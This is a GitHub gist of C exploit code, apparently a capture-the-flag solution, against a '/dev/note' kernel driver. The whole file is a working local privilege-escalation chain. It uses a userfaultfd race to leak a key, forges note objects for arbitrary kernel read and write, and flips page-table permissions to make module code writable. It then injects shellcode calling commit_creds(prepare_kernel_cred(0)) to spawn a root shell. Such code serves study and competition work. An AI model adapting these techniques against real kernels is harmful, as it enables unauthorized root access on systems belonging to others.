Skip to content

Instantly share code, notes, and snippets.

@pr0cf5
Created October 7, 2019 01:53
Show Gist options
  • Save pr0cf5/05e340dccb950d6c03d042e0c018070a to your computer and use it in GitHub Desktop.
Save pr0cf5/05e340dccb950d6c03d042e0c018070a to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#define NOTE_CREATE -256
#define NOTE_VIEW -254
#define NOTE_DELETEALL -253
#define NOTE_EDIT -255
#define PAGESIZE 0x1000
#define THREAD_CNT 200
#define SPRAY_CNT 32*32
#define SPRAY_SIZE 1024*64
#define STACK_END_MAGIC 0x0000000057ac6e9d
#define STACK_SZ 0x8000
#define MASK 0xfffffffffff00000
#define PGDIR_SHIFT 39
#define PMD_SHIFT 30
#define PT_SHIFT 21
#define PAGE_SHIFT 12
struct request {
off_t index;
size_t length;
char *noteBuf;
};
int userfaultfd(int flags)
{
return syscall(SYS_userfaultfd, flags);
}
int create(size_t length, char *buf) {
int fd;
struct request req;
req.index = 0;
req.length = length;
req.noteBuf = buf;
fd = Open("/dev/note", O_RDONLY);
if (ioctl(fd, NOTE_CREATE, &req) < 0){
return -1;
}
close(fd);
return 0;
}
void view(off_t index, char *buf) {
int fd;
struct request req;
req.index = index;
req.length = 0;
req.noteBuf = buf;
fd = Open("/dev/note", O_RDONLY);
if (ioctl(fd, NOTE_VIEW, &req) < 0){
perror("ioctl(view)");
exit(-1);
}
close(fd);
}
void deleteAll() {
int fd;
struct request req;
req.index = 0;
req.length = 0;
req.noteBuf = NULL;
fd = Open("/dev/note", O_RDONLY);
if (ioctl(fd, NOTE_DELETEALL, &req) < 0){
perror("ioctl(deleteall)");
exit(-1);
}
close(fd);
}
void editZero(char *buf) {
int fd;
struct request req;
req.index = 0;
req.length = 0;
req.noteBuf = buf;
fd = Open("/dev/note", O_RDONLY);
printf("[*] edit entry\n");
if (ioctl(fd, NOTE_EDIT, &req) < 0){
return -1;
}
printf("[*] edit done\n");
close(fd);
return 0;
}
void edit(int index, char *buf) {
int fd;
struct request req;
req.index = index;
req.length = 0;
req.noteBuf = buf;
fd = Open("/dev/note", O_RDONLY);
if (ioctl(fd, NOTE_EDIT, &req) < 0){
return -1;
}
close(fd);
return 0;
}
int Open(char *filename, int flags) {
int t = open("/dev/note", O_RDWR);
if (t < 0) {
perror("open");
exit(-1);
}
return t;
}
int prepareUFD(pages, memsize) {
int fd = 0;
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
fprintf(stderr, "++ userfaultfd failed: %m\n");
exit(-1);
}
/* When first opened the userfaultfd must be enabled invoking the
UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API
(or a later API version) which will specify the read/POLLIN protocol
userland intends to speak on the UFFD and the uffdio_api.features
userland requires. The UFFDIO_API ioctl if successful (i.e. if the
requested uffdio_api.api is spoken also by the running kernel and the
requested features are going to be enabled) will return into
uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of
respectively all the available features of the read(2) protocol and
the generic ioctl available. */
struct uffdio_api api = { .api = UFFD_API };
if (ioctl(fd, UFFDIO_API, &api)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
exit(-1);
}
/* "Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl
should be invoked (if present in the returned uffdio_api.ioctls
bitmask) to register a memory range in the userfaultfd by setting the
uffdio_register structure accordingly. The uffdio_register.mode
bitmask will specify to the kernel which kind of faults to track for
the range (UFFDIO_REGISTER_MODE_MISSING would track missing
pages). The UFFDIO_REGISTER ioctl will return the uffdio_register
. ioctls bitmask of ioctls that are suitable to resolve userfaults on
the range registered. Not all ioctls will necessarily be supported
for all memory types depending on the underlying virtual memory
backend (anonymous memory vs tmpfs vs real filebacked mappings)." */
if (api.api != UFFD_API) {
fprintf(stderr, "++ unexepcted UFFD api version.\n");
exit(-1);
}
/* mmap some pages, set them up with the userfaultfd. */
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = {
.start = (long) pages,
.len = memsize
}
};
if (ioctl(fd, UFFDIO_REGISTER, &reg)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
exit(-1);
}
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
fprintf(stderr, "++ unexpected UFFD ioctls.\n");
exit(-1);
}
return fd;
}
void XOR(void *in, void *out, unsigned long key, size_t len) {
unsigned long *in_ = (unsigned long *)in;
unsigned long *out_ = (unsigned long *)out;
for (int i = 0; i < len/8; i++) {
out_[i] = in_[i] ^ key;
}
}
unsigned long leakKey(){
// first phase: leak key
char writebuf[0x100];
char readbuf[0xffff];
unsigned long key;
memset(writebuf, 0, sizeof(writebuf));
writebuf[0x10+0x8] = 0xff;
pthread_t tid;
/* partial overwrite, overwrite length of note 1 partially */
if (create(0x10+0x8+0x1, writebuf) < 0) {
fprintf(stderr, "[!] initial create failed!\n");
exit(-1);
}
void *pages = mmap((void *)0xdead000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (pages == MAP_FAILED) {
perror("mmap");
exit(-1);
}
int ufd = prepareUFD(pages, 0x2000);
printf("[+] ufd: %d\n", ufd);
pthread_create(&tid, NULL, editZero, pages);
/*
pid_t pid = fork();
if (pid < 0) {
perror("fork");
}
else if (pid == 0) {
editZero(pages);
}*/
/* handle page fault */
struct pollfd evt = { .fd = ufd, .events = POLLIN };
while (poll(&evt, 1, 10) > 0) {
/* unexpected poll events */
if (evt.revents & POLLERR) {
perror("poll");
exit(-1);
} else if (evt.revents & POLLHUP) {
perror("pollhup");
exit(-1);
}
struct uffd_msg fault_msg = {0};
if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
perror("read");
exit(-1);
}
char *place = (char *)fault_msg.arg.pagefault.address;
if (fault_msg.event != UFFD_EVENT_PAGEFAULT
|| (place != pages && place != pages + PAGESIZE)) {
fprintf(stderr, "unexpected pagefault?.\n");
exit(-1);
}
if (place == (void *)0xdead000) {
printf("[+] got page fault at address %p, nice!\n", place);
printf("[*] now deleting and adding two more notes\n");
deleteAll();
create(0x10, writebuf);
create(0x10, writebuf);
printf("[*] done! now releasing ufd to finish exit\n");
/* release by copying some data to faulting address */
struct uffdio_copy copy = {
.dst = (long) place,
.src = (long) writebuf,
.len = PAGESIZE
};
if (ioctl(ufd, UFFDIO_COPY, &copy) < 0) {
perror("ioctl(UFFDIO_COPY)");
exit(-1);
}
/* now edit will overflow to 1, and key, length and ptr and contents of note1 will be altered by the overflow */
/* overflow content = key ^ userprovided content */
break;
}
}
pthread_join(tid, NULL);
view(1, readbuf);
unsigned long *ptr = (unsigned long *)readbuf;
// kernel pointer leak (key)
key = ptr[2];
printf("[+] kernel infoleak: %p\n", (void *)key);
return key;
}
unsigned long key;
unsigned long moduleBase, pageOffsetBase;
unsigned long read64(unsigned long addr) {
unsigned long writebuf[0x10];
unsigned long readbuf[0x10];
unsigned long pt[0x10];
unsigned long ct[0x10];
pt[0] = 0x0;
pt[1] = 0x0;
pt[2] = 0x0; // key
pt[3] = 0x8; //length
pt[4] = addr - pageOffsetBase;
XOR(pt, ct, key, 5*8);
edit(1, ct);
view(2,readbuf);
return readbuf[0];
}
void readLen(unsigned long addr, size_t length, void *buf) {
unsigned long writebuf[0x10];
unsigned long pt[0x10];
unsigned long ct[0x10];
pt[0] = 0x0;
pt[1] = 0x0;
pt[2] = 0x0; // key
pt[3] = length; //length
pt[4] = addr - pageOffsetBase;
XOR(pt, ct, key, 5*8);
edit(1, ct);
view(2,buf);
}
void write64(unsigned long addr, unsigned long data) {
unsigned long writebuf[0x10];
unsigned long readbuf[0x10];
unsigned long pt[0x10];
unsigned long ct[0x10];
pt[0] = 0x0;
pt[1] = 0x0;
pt[2] = 0x0; // key
pt[3] = 0x8; //length
pt[4] = addr - pageOffsetBase;
XOR(pt, ct, key, 5*8);
edit(1, ct);
writebuf[0] = data;
edit(2,writebuf);
}
void writeLen(unsigned long addr, void *writeData, size_t len) {
unsigned long pt[0x10];
unsigned long ct[0x10];
pt[0] = 0x0;
pt[1] = 0x0;
pt[2] = 0x0; // key
pt[3] = len; //length
pt[4] = addr - pageOffsetBase;
XOR(pt, ct, key, 5*8);
edit(1, ct);
edit(2, writeData);
}
void getShell() {
while(getuid()) {
}
printf("[+] wow! i suddenly got root\n");
system("cat /flag");
}
unsigned long pageTableWalk(unsigned long pgdir, unsigned long vaddr) {
unsigned long index1 = (vaddr >> 39) & 0x1ff;
unsigned long index2 = (vaddr >> 30) & 0x1ff;
unsigned long index3 = (vaddr >> 21) & 0x1ff;
unsigned long index4 = (vaddr >> 12) & 0x1ff;
printf("index1: %lx, index2: %lx, index3: %lx index4: %lx\n", index1, index2, index3, index4);
unsigned long lv1 = read64(pgdir + index1*8);
if (!lv1) {
printf("[!] lv1 is invalid\n");
exit(-1);
}
printf("lv1: %lx\n", lv1);
unsigned long lv2 = read64(((lv1 >> 12) << 12) + pageOffsetBase + index2*8);
if (!lv2) {
printf("[!] lv2 is invalid\n");
exit(-1);
}
printf("lv2: %lx\n", lv2);
unsigned long lv3 = read64(((lv2 >> 12) << 12) + pageOffsetBase + index3*8);
if (!lv3) {
printf("[!] lv3 is invalid\n");
exit(-1);
}
printf("lv3: %lx\n", lv3);
unsigned long lv4 = read64(((lv3 >> 12) << 12) + pageOffsetBase + index4*8);
if (!lv4) {
printf("[!] lv3 is invalid\n");
exit(-1);
}
printf("lv4: %lx\n", lv4);
unsigned long vaddr_alias = ((lv4 >> 12) << 12) + pageOffsetBase;
printf("vaddr alias page: %p\n", (void *)vaddr_alias);
unsigned long pte_addr = ((lv3 >> 12) << 12) + pageOffsetBase + index4*8;
printf("pte address: %p\n", (void *)pte_addr);
return pte_addr;
}
unsigned long prepare_kernel_cred, commit_creds, copy_from_user;
void commit_creds_and_return() {
asm volatile ("xor %rdi, %rdi");
asm volatile ("mov $0xcccccccccccccccc, %rax");
asm volatile ("call %rax");
asm volatile ("mov %rax, %rdi");
asm volatile ("mov $0xdddddddddddddddd, %rax");
asm volatile ("call %rax");
}
int main() {
char tmp[0x10];
unsigned long pt[0x10];
unsigned long ct[0x10];
unsigned long readbuf[0x10];
unsigned long writebuf[0x10];
unsigned long contentPtr;
int val;
pthread_t tids[THREAD_CNT];
// first phase: leak key
key = leakKey();
// first leak the content ptr (or more exactly, pseudo-ptr?)
create(0x10, tmp); //2
view(1, readbuf);
contentPtr = readbuf[4] ^ key;
printf("[+] content pseudo-ptr: %p\n", (void *)contentPtr);
// now using the fact that note 1 has abnormally large size and we have the XOR key we can create an arbitrary fake note object.
pt[0] = 0x0;
pt[1] = 0x0;
pt[2] = 0x0; // key
pt[3] = 0x8; //length
pt[4] = contentPtr - 0x68 + 0x2000; // pseudo-ptr that points to notes[] array now
XOR(pt, ct, key, 5*8);
edit(1, ct);
// now we can abuse note 2 to do near-arbitrary read and write
view(2, readbuf);
moduleBase = readbuf[0] - 0x2520;
printf("[+] module base is: %p\n", (void *)moduleBase);
pageOffsetBase = moduleBase + 0x2520 + 0x68 - contentPtr;
printf("[+] page_offset_base is: %p\n", (void*)pageOffsetBase);
unsigned long leak = read64(0x6c + moduleBase);
printf("[+] kernel code leak: %p\n", (void *)leak);
long int offset = *((int *)(((char *)&leak) + 1)) + 5;
copy_from_user = offset + moduleBase + 0x6c;
commit_creds = 0xffffffff810ac680 - 0xffffffff81353e80 + copy_from_user;
prepare_kernel_cred = 0xffffffff810ac950 - 0xffffffff81353e80 + copy_from_user;
printf("[+] copy_from_user: %p\n", (void *)copy_from_user);
printf("[*] commit_creds: %p\n", (void *)commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (void *)prepare_kernel_cred);
// walk page table and find page for module base
// change permissions to RWX
unsigned long pte_addr = pageTableWalk(key, moduleBase);
unsigned long default_pte = read64(pte_addr);
write64(pte_addr, default_pte|2);
char shellcode[0x1000];
memcpy(shellcode, commit_creds_and_return, 0xff);
for(int i = 0; i < 0xff; i++) {
unsigned long *pppp = &shellcode[i];
if (*pppp == 0xcccccccccccccccc) {
printf("[*] patched prepare_kernel_cred\n");
*pppp = prepare_kernel_cred;
}
if (*pppp == 0xdddddddddddddddd) {
printf("[*] patched commit_creds\n");
*pppp = commit_creds;
}
}
writeLen(moduleBase + 0x400, shellcode, 0xff);
writeLen(moduleBase, "\xe8\xf9\x03\x00\x00\x31\xc0\xc3", 8);
open("/dev/note", O_RDONLY);
system("/bin/sh");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment